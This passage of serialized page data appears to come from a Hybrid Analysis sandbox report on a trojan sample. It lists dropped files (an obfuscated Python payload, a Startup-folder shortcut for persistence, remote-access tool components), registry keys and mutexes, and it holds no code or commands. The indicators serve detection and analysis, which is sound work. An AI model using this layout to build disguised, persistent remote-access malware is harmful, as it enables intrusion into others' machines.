af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_wmi.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\d8201d13-9cfd-46a9-a3ec-f0d0c917ee71.lic","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\fd900f40-0cbd-4cf3-8efd-f248ac7ed542.lic","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\main.py","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\pyarmor_runtime.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\pythonw.exe.lnk","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"pipe\\GmdAslLogger","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\NSM.LIC","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\pcicapi.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\PCICHEK.DLL","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\PCICL32.DLL","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\remcmdstub.exe","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\TCCTL32.DLL","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\signature.lic","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\client32.ini","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\HTCTL32.DLL","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\msedgewebview.exe","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\msvcr100.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\nskbfltr.inf","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\test2\\NSM.ini","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\__pycache__\\__init__.cpython-313.pyc.2362310367472","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_tuseizss.oc1.ps1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ecgy5pmv.vzc.psm1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2512:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2512:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2512:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Local\\SM0:2512:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Local\\SM0:2512:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"SM0:2512:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"ghgJFkeMnLkEzoBXhxje","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"SM0:2512:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2512:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ghgJFkeMnLkEzoBXhxje","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3580:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"SM0:3580:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3640:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Local\\SM0:3640:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"SM0:3640:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"SM0:3640:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Local\\SM0:3640:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3640:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3640:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3640:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}]}},"report_ids":{"sandbox_job_ids":["6ae4af83e9cb5a518f049d93"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Trojan.JP.Generic Sample a459cc80f8ad… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a459cc80f8ad…. Malware family: Trojan.JP.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.JP.Generic Sample a459cc80f8ad… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a459cc80f8ad…. Malware family: Trojan.JP.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.JP.Generic Sample a459cc80f8ad… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a459cc80f8ad…. Malware family: Trojan.JP.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L82","11",{}]] 32:null